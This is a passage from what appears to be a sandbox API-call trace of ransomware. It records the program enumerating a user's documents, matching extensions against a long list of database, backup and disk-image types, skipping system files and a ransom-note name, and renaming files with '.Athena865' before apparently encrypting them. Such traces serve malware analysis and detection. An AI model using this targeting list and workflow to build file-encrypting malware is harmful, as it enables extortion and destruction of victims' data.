lpString2="fp7") returned 1 [0050.638] lstrlenW (lpString="fpt") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", lpString2="fpt") returned 1 [0050.638] lstrlenW (lpString="frm") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", lpString2="frm") returned 1 [0050.638] lstrlenW (lpString="gdb") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", lpString2="gdb") returned 1 [0050.638] lstrlenW (lpString="gdb") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", lpString2="gdb") returned 1 [0050.638] lstrlenW (lpString="grdb") returned 4 [0050.638] lstrcmpiW (lpString1="pptx", lpString2="grdb") returned 1 [0050.638] lstrlenW (lpString="gwi") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", lpString2="gwi") returned 1 [0050.638] lstrlenW (lpString="hdb") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", lpString2="hdb") returned 1 [0050.638] lstrlenW (lpString="his") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", lpString2="his") returned 1 [0050.638] lstrlenW (lpString="ib") returned 2 [0050.638] lstrcmpiW (lpString1="tx", lpString2="ib") returned 1 [0050.638] lstrlenW (lpString="idb") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", lpString2="idb") returned 1 [0050.638] lstrlenW (lpString="ihx") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", lpString2="ihx") returned 1 [0050.638] lstrlenW (lpString="itdb") returned 4 [0050.638] lstrcmpiW (lpString1="pptx", lpString2="itdb") returned 1 [0050.638] lstrlenW (lpString="itw") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", lpString2="itw") returned 1 [0050.638] lstrlenW (lpString="jet") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", lpString2="jet") returned 1 [0050.638] lstrlenW (lpString="jtx") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", lpString2="jtx") returned 1 [0050.638] lstrlenW (lpString="kdb") returned 3 [0050.639] lstrcmpiW (lpString1="ptx", lpString2="kdb") returned 1 [0050.639] lstrlenW (lpString="kexi") returned 4 [0050.639] lstrcmpiW (lpString1="pptx", lpString2="kexi") returned 1 [0050.639] lstrlenW (lpString="kexic") returned 5 [0050.639] lstrcmpiW (lpString1=".pptx", lpString2="kexic") returned -1 [0050.639] lstrlenW (lpString="kexis") returned 5 [0050.639] lstrcmpiW (lpString1=".pptx", lpString2="kexis") returned -1 [0050.639] lstrlenW (lpString="lgc") returned 3 [0050.639] lstrcmpiW (lpString1="ptx", lpString2="lgc") returned 1 [0050.639] lstrlenW (lpString="lwx") returned 3 [0050.639] lstrcmpiW (lpString1="ptx", lpString2="lwx") returned 1 [0050.639] lstrlenW (lpString="maf") returned 3 [0050.639] lstrcmpiW (lpString1="ptx", lpString2="maf") returned 1 [0050.639] lstrlenW (lpString="maq") returned 3 [0050.639] lstrcmpiW (lpString1="ptx", lpString2="maq") returned 1 [0050.639] lstrlenW (lpString="mar") returned 3 [0050.639] lstrcmpiW (lpString1="ptx", lpString2="mar") returned 1 [0050.639] lstrlenW (lpString="marshal") returned 7 [0050.639] lstrcmpiW (lpString1="Db.pptx", lpString2="marshal") returned -1 [0050.639] lstrlenW (lpString="mas") returned 3 [0050.639] lstrcmpiW (lpString1="ptx", lpString2="mas") returned 1 [0050.639] lstrlenW (lpString="mav") returned 3 [0050.639] lstrcmpiW (lpString1="ptx", lpString2="mav") returned 1 [0050.639] lstrlenW (lpString="maw") returned 3 [0050.639] lstrcmpiW (lpString1="ptx", lpString2="maw") returned 1 [0050.639] lstrlenW (lpString="mdbhtml") returned 7 [0050.639] lstrcmpiW (lpString1="Db.pptx", lpString2="mdbhtml") returned -1 [0050.639] lstrlenW (lpString="mdn") returned 3 [0050.639] lstrcmpiW (lpString1="ptx", lpString2="mdn") returned 1 [0050.639] lstrlenW (lpString="mdt") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="mdt") returned 1 [0050.640] lstrlenW (lpString="mfd") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="mfd") returned 1 [0050.640] lstrlenW (lpString="mpd") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="mpd") returned 1 [0050.640] lstrlenW (lpString="mrg") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="mrg") returned 1 [0050.640] lstrlenW (lpString="mud") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="mud") returned 1 [0050.640] lstrlenW (lpString="mwb") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="mwb") returned 1 [0050.640] lstrlenW (lpString="myd") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="myd") returned 1 [0050.640] lstrlenW (lpString="ndf") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="ndf") returned 1 [0050.640] lstrlenW (lpString="nnt") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="nnt") returned 1 [0050.640] lstrlenW (lpString="nrmlib") returned 6 [0050.640] lstrcmpiW (lpString1="b.pptx", lpString2="nrmlib") returned -1 [0050.640] lstrlenW (lpString="ns2") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="ns2") returned 1 [0050.640] lstrlenW (lpString="ns3") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="ns3") returned 1 [0050.640] lstrlenW (lpString="ns4") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="ns4") returned 1 [0050.640] lstrlenW (lpString="nsf") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="nsf") returned 1 [0050.640] lstrlenW (lpString="nv") returned 2 [0050.640] lstrcmpiW (lpString1="tx", lpString2="nv") returned 1 [0050.640] lstrlenW (lpString="nv2") returned 3 [0050.640] lstrcmpiW (lpString1="ptx", lpString2="nv2") returned 1 [0050.640] lstrlenW (lpString="nwdb") returned 4 [0050.640] lstrcmpiW (lpString1="pptx", lpString2="nwdb") returned 1 [0050.641] lstrlenW (lpString="nyf") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="nyf") returned 1 [0050.641] lstrlenW (lpString="odb") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="odb") returned 1 [0050.641] lstrlenW (lpString="odb") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="odb") returned 1 [0050.641] lstrlenW (lpString="oqy") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="oqy") returned 1 [0050.641] lstrlenW (lpString="ora") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="ora") returned 1 [0050.641] lstrlenW (lpString="orx") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="orx") returned 1 [0050.641] lstrlenW (lpString="owc") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="owc") returned 1 [0050.641] lstrlenW (lpString="p96") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="p96") returned 1 [0050.641] lstrlenW (lpString="p97") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="p97") returned 1 [0050.641] lstrlenW (lpString="pan") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="pan") returned 1 [0050.641] lstrlenW (lpString="pdb") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="pdb") returned 1 [0050.641] lstrlenW (lpString="pdm") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="pdm") returned 1 [0050.641] lstrlenW (lpString="pnz") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="pnz") returned 1 [0050.641] lstrlenW (lpString="qry") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="qry") returned -1 [0050.641] lstrlenW (lpString="qvd") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="qvd") returned -1 [0050.641] lstrlenW (lpString="rbf") returned 3 [0050.641] lstrcmpiW (lpString1="ptx", lpString2="rbf") returned -1 [0050.641] lstrlenW (lpString="rctd") returned 4 [0050.641] lstrcmpiW (lpString1="pptx", lpString2="rctd") returned -1 [0050.642] lstrlenW (lpString="rod") returned 3 [0050.642] lstrcmpiW (lpString1="ptx", lpString2="rod") returned -1 [0050.642] lstrlenW (lpString="rodx") returned 4 [0050.642] lstrcmpiW (lpString1="pptx", lpString2="rodx") returned -1 [0050.642] lstrlenW (lpString="rpd") returned 3 [0050.642] lstrcmpiW (lpString1="ptx", lpString2="rpd") returned -1 [0050.642] lstrlenW (lpString="rsd") returned 3 [0050.642] lstrcmpiW (lpString1="ptx", lpString2="rsd") returned -1 [0050.642] lstrlenW (lpString="sas7bdat") returned 8 [0050.642] lstrcmpiW (lpString1="2Db.pptx", lpString2="sas7bdat") returned -1 [0050.642] lstrlenW (lpString="sbf") returned 3 [0050.642] lstrcmpiW (lpString1="ptx", lpString2="sbf") returned -1 [0050.642] lstrlenW (lpString="scx") returned 3 [0050.642] lstrcmpiW (lpString1="ptx", lpString2="scx") returned -1 [0050.642] lstrlenW (lpString="sdb") returned 3 [0050.642] lstrcmpiW (lpString1="ptx", lpString2="sdb") returned -1 [0050.642] lstrlenW (lpString="sdc") returned 3 [0050.642] lstrcmpiW (lpString1="ptx", lpString2="sdc") returned -1 [0050.642] lstrlenW (lpString="sdf") returned 3 [0050.642] lstrcmpiW (lpString1="ptx", lpString2="sdf") returned -1 [0050.642] lstrlenW (lpString="sis") returned 3 [0050.642] lstrcmpiW (lpString1="ptx", lpString2="sis") returned -1 [0050.642] lstrlenW (lpString="spq") returned 3 [0050.642] lstrcmpiW (lpString1="ptx", lpString2="spq") returned -1 [0050.642] lstrlenW (lpString="te") returned 2 [0050.642] lstrcmpiW (lpString1="tx", lpString2="te") returned 1 [0050.642] lstrlenW (lpString="teacher") returned 7 [0050.642] lstrcmpiW (lpString1="Db.pptx", lpString2="teacher") returned -1 [0050.642] lstrlenW (lpString="tmd") returned 3 [0050.642] lstrcmpiW (lpString1="ptx", lpString2="tmd") returned -1 [0050.642] lstrlenW (lpString="tps") returned 3 [0050.642] lstrcmpiW (lpString1="ptx", lpString2="tps") returned -1 [0050.642] lstrlenW (lpString="trc") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="trc") returned -1 [0050.643] lstrlenW (lpString="trc") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="trc") returned -1 [0050.643] lstrlenW (lpString="trm") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="trm") returned -1 [0050.643] lstrlenW (lpString="udb") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="udb") returned -1 [0050.643] lstrlenW (lpString="udl") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="udl") returned -1 [0050.643] lstrlenW (lpString="usr") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="usr") returned -1 [0050.643] lstrlenW (lpString="v12") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="v12") returned -1 [0050.643] lstrlenW (lpString="vis") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="vis") returned -1 [0050.643] lstrlenW (lpString="vpd") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="vpd") returned -1 [0050.643] lstrlenW (lpString="vvv") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="vvv") returned -1 [0050.643] lstrlenW (lpString="wdb") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="wdb") returned -1 [0050.643] lstrlenW (lpString="wmdb") returned 4 [0050.643] lstrcmpiW (lpString1="pptx", lpString2="wmdb") returned -1 [0050.643] lstrlenW (lpString="wrk") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="wrk") returned -1 [0050.643] lstrlenW (lpString="xdb") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="xdb") returned -1 [0050.643] lstrlenW (lpString="xld") returned 3 [0050.643] lstrcmpiW (lpString1="ptx", lpString2="xld") returned -1 [0050.643] lstrlenW (lpString="xmlff") returned 5 [0050.643] lstrcmpiW (lpString1=".pptx", lpString2="xmlff") returned -1 [0050.643] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\-xyaZA U2CnstOD2Db.pptx.Athena865") returned 90 [0050.643] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\-xyaZA U2CnstOD2Db.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\-xyaza u2cnstod2db.pptx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\-xyaZA U2CnstOD2Db.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\-xyaza u2cnstod2db.pptx.athena865"), dwFlags=0x1) returned 1 [0050.644] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\-xyaZA U2CnstOD2Db.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\-xyaza u2cnstod2db.pptx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.644] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12126) returned 1 [0050.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.645] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.645] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.645] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.646] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3260, lpName=0x0) returned 0x154 [0050.646] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3260) returned 0x100000 [0050.647] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.647] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.647] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.648] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.648] CloseHandle (hObject=0x154) returned 1 [0050.648] CloseHandle (hObject=0x17c) returned 1 [0050.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.650] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d82590, ftCreationTime.dwHighDateTime=0x1d535d3, ftLastAccessTime.dwLowDateTime=0xebd35510, ftLastAccessTime.dwHighDateTime=0x1d569f4, ftLastWriteTime.dwLowDateTime=0xebd35510, ftLastWriteTime.dwHighDateTime=0x1d569f4, nFileSizeHigh=0x0, nFileSizeLow=0x15858, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16kFnlYu4.pptx", cAlternateFileName="16KFNL~1.PPT")) returned 1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2=".") returned 1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2="..") returned 1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2="windows") returned -1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2="bootmgr") returned -1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2="temp") returned -1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2="pagefile.sys") returned -1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2="boot") returned -1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2="ids.txt") returned -1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2="ntuser.dat") returned -1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2="perflogs") returned -1 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2="MSBuild") returned -1 [0050.650] lstrlenW (lpString="16kFnlYu4.pptx") returned 14 [0050.650] lstrcpyW (in: lpString1=0x241e8ba, lpString2="16kFnlYu4.pptx" | out: lpString1="16kFnlYu4.pptx") returned="16kFnlYu4.pptx" [0050.650] lstrlenW (lpString="16kFnlYu4.pptx") returned 14 [0050.650] lstrlenW (lpString="Athena865") returned 9 [0050.650] lstrcmpiW (lpString1="lYu4.pptx", lpString2="Athena865") returned 1 [0050.650] lstrlenW (lpString=".dll") returned 4 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2=".dll") returned 1 [0050.650] lstrlenW (lpString=".lnk") returned 4 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2=".lnk") returned 1 [0050.650] lstrlenW (lpString=".ini") returned 4 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2=".ini") returned 1 [0050.650] lstrlenW (lpString=".sys") returned 4 [0050.650] lstrcmpiW (lpString1="16kFnlYu4.pptx", lpString2=".sys") returned 1 [0050.650] lstrlenW (lpString="16kFnlYu4.pptx") returned 14 [0050.651] lstrlenW (lpString="bak") returned 3 [0050.651] lstrcmpiW (lpString1="ptx", lpString2="bak") returned 1 [0050.651] lstrlenW (lpString="ba_") returned 3 [0050.651] lstrcmpiW (lpString1="ptx", lpString2="ba_") returned 1 [0050.651] lstrlenW (lpString="dbb") returned 3 [0050.651] lstrcmpiW (lpString1="ptx", lpString2="dbb") returned 1 [0050.651] lstrlenW (lpString="vmdk") returned 4 [0050.651] lstrcmpiW (lpString1="pptx", lpString2="vmdk") returned -1 [0050.651] lstrlenW (lpString="rar") returned 3 [0050.651] lstrcmpiW (lpString1="ptx", lpString2="rar") returned -1 [0050.651] lstrlenW (lpString="zip") returned 3 [0050.651] lstrcmpiW (lpString1="ptx", lpString2="zip") returned -1 [0050.651] lstrlenW (lpString="tgz") returned 3 [0050.651] lstrcmpiW (lpString1="ptx", lpString2="tgz") returned -1 [0050.651] lstrlenW (lpString="vbox") returned 4 [0050.651] lstrcmpiW (lpString1="pptx", lpString2="vbox") returned -1 [0050.651] lstrlenW (lpString="vdi") returned 3 [0050.651] lstrcmpiW (lpString1="ptx", lpString2="vdi") returned -1 [0050.651] lstrlenW (lpString="vhd") returned 3 [0050.651] lstrcmpiW (lpString1="ptx", lpString2="vhd") returned -1 [0050.651] lstrlenW (lpString="vhdx") returned 4 [0050.651] lstrcmpiW (lpString1="pptx", lpString2="vhdx") returned -1 [0050.651] lstrlenW (lpString="avhd") returned 4 [0050.651] lstrcmpiW (lpString1="pptx", lpString2="avhd") returned 1 [0050.651] lstrlenW (lpString="db") returned 2 [0050.651] lstrcmpiW (lpString1="tx", lpString2="db") returned 1 [0050.651] lstrlenW (lpString="db2") returned 3 [0050.651] lstrcmpiW (lpString1="ptx", lpString2="db2") returned 1 [0050.651] lstrlenW (lpString="db3") returned 3 [0050.651] lstrcmpiW (lpString1="ptx", lpString2="db3") returned 1 [0050.651] lstrlenW (lpString="dbf") returned 3 [0050.651] lstrcmpiW (lpString1="ptx", lpString2="dbf") returned 1 [0050.651] lstrlenW (lpString="mdf") returned 3 [0050.652] lstrcmpiW (lpString1="ptx", lpString2="mdf") returned 1 [0050.652] lstrlenW (lpString="mdb") returned 3 [0050.652] lstrcmpiW (lpString1="ptx", lpString2="mdb") returned 1 [0050.652] lstrlenW (lpString="sql") returned 3 [0050.652] lstrcmpiW (lpString1="ptx", lpString2="sql") returned -1 [0050.652] lstrlenW (lpString="sqlite") returned 6 [0050.652] lstrcmpiW (lpString1="4.pptx", lpString2="sqlite") returned -1 [0050.652] lstrlenW (lpString="sqlite3") returned 7 [0050.652] lstrcmpiW (lpString1="u4.pptx", lpString2="sqlite3") returned 1 [0050.652] lstrlenW (lpString="sqlitedb") returned 8 [0050.652] lstrcmpiW (lpString1="Yu4.pptx", lpString2="sqlitedb") returned 1 [0050.652] lstrlenW (lpString="xml") returned 3 [0050.652] lstrcmpiW (lpString1="ptx", lpString2="xml") returned -1 [0050.652] lstrlenW (lpString="$er") returned 3 [0050.652] lstrcmpiW (lpString1="ptx", lpString2="$er") returned 1 [0050.652] lstrlenW (lpString="4dd") returned 3 [0050.652] lstrcmpiW (lpString1="ptx", lpString2="4dd") returned 1 [0050.652] lstrlenW (lpString="4dl") returned 3 [0050.652] lstrcmpiW (lpString1="ptx", lpString2="4dl") returned 1 [0050.652] lstrlenW (lpString="^^^") returned 3 [0050.652] lstrcmpiW (lpString1="ptx", lpString2="^^^") returned 1 [0050.652] lstrlenW (lpString="abs") returned 3 [0050.652] lstrcmpiW (lpString1="ptx", lpString2="abs") returned 1 [0050.652] lstrlenW (lpString="abx") returned 3 [0050.652] lstrcmpiW (lpString1="ptx", lpString2="abx") returned 1 [0050.652] lstrlenW (lpString="accdb") returned 5 [0050.652] lstrcmpiW (lpString1=".pptx", lpString2="accdb") returned -1 [0050.652] lstrlenW (lpString="accdc") returned 5 [0050.652] lstrcmpiW (lpString1=".pptx", lpString2="accdc") returned -1 [0050.652] lstrlenW (lpString="accde") returned 5 [0050.652] lstrcmpiW (lpString1=".pptx", lpString2="accde") returned -1 [0050.652] lstrlenW (lpString="accdr") returned 5 [0050.652] lstrcmpiW (lpString1=".pptx", lpString2="accdr") returned -1 [0050.653] lstrlenW (lpString="accdt") returned 5 [0050.653] lstrcmpiW (lpString1=".pptx", lpString2="accdt") returned -1 [0050.653] lstrlenW (lpString="accdw") returned 5 [0050.653] lstrcmpiW (lpString1=".pptx", lpString2="accdw") returned -1 [0050.653] lstrlenW (lpString="accft") returned 5 [0050.653] lstrcmpiW (lpString1=".pptx", lpString2="accft") returned -1 [0050.653] lstrlenW (lpString="adb") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1 [0050.653] lstrlenW (lpString="adb") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1 [0050.653] lstrlenW (lpString="ade") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="ade") returned 1 [0050.653] lstrlenW (lpString="adf") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="adf") returned 1 [0050.653] lstrlenW (lpString="adn") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="adn") returned 1 [0050.653] lstrlenW (lpString="adp") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="adp") returned 1 [0050.653] lstrlenW (lpString="alf") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="alf") returned 1 [0050.653] lstrlenW (lpString="ask") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="ask") returned 1 [0050.653] lstrlenW (lpString="btr") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="btr") returned 1 [0050.653] lstrlenW (lpString="cat") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="cat") returned 1 [0050.653] lstrlenW (lpString="cdb") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="cdb") returned 1 [0050.653] lstrlenW (lpString="ckp") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="ckp") returned 1 [0050.653] lstrlenW (lpString="cma") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="cma") returned 1 [0050.653] lstrlenW (lpString="cpd") returned 3 [0050.653] lstrcmpiW (lpString1="ptx", lpString2="cpd") returned 1 [0050.654] lstrlenW (lpString="dacpac") returned 6 [0050.654] lstrcmpiW (lpString1="4.pptx", lpString2="dacpac") returned -1 [0050.654] lstrlenW (lpString="dad") returned 3 [0050.654] lstrcmpiW (lpString1="ptx", lpString2="dad") returned 1 [0050.654] lstrlenW (lpString="dadiagrams") returned 10 [0050.654] lstrcmpiW (lpString1="nlYu4.pptx", lpString2="dadiagrams") returned 1 [0050.654] lstrlenW (lpString="daschema") returned 8 [0050.654] lstrcmpiW (lpString1="Yu4.pptx", lpString2="daschema") returned 1 [0050.654] lstrlenW (lpString="db-journal") returned 10 [0050.654] lstrcmpiW (lpString1="nlYu4.pptx", lpString2="db-journal") returned 1 [0050.654] lstrlenW (lpString="db-shm") returned 6 [0050.654] lstrcmpiW (lpString1="4.pptx", lpString2="db-shm") returned -1 [0050.654] lstrlenW (lpString="db-wal") returned 6 [0050.654] lstrcmpiW (lpString1="4.pptx", lpString2="db-wal") returned -1 [0050.654] lstrlenW (lpString="dbc") returned 3 [0050.654] lstrcmpiW (lpString1="ptx", lpString2="dbc") returned 1 [0050.654] lstrlenW (lpString="dbs") returned 3 [0050.654] lstrcmpiW (lpString1="ptx", lpString2="dbs") returned 1 [0050.654] lstrlenW (lpString="dbt") returned 3 [0050.654] lstrcmpiW (lpString1="ptx", lpString2="dbt") returned 1 [0050.654] lstrlenW (lpString="dbv") returned 3 [0050.654] lstrcmpiW (lpString1="ptx", lpString2="dbv") returned 1 [0050.654] lstrlenW (lpString="dbx") returned 3 [0050.654] lstrcmpiW (lpString1="ptx", lpString2="dbx") returned 1 [0050.654] lstrlenW (lpString="dcb") returned 3 [0050.654] lstrcmpiW (lpString1="ptx", lpString2="dcb") returned 1 [0050.655] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\16kFnlYu4.pptx.Athena865") returned 81 [0050.655] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\16kFnlYu4.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\16kfnlyu4.pptx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\16kFnlYu4.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\16kfnlyu4.pptx.athena865"), dwFlags=0x1) returned 1 [0050.655] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\16kFnlYu4.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\16kfnlyu4.pptx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.656] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=88152) returned 1 [0050.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.656] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 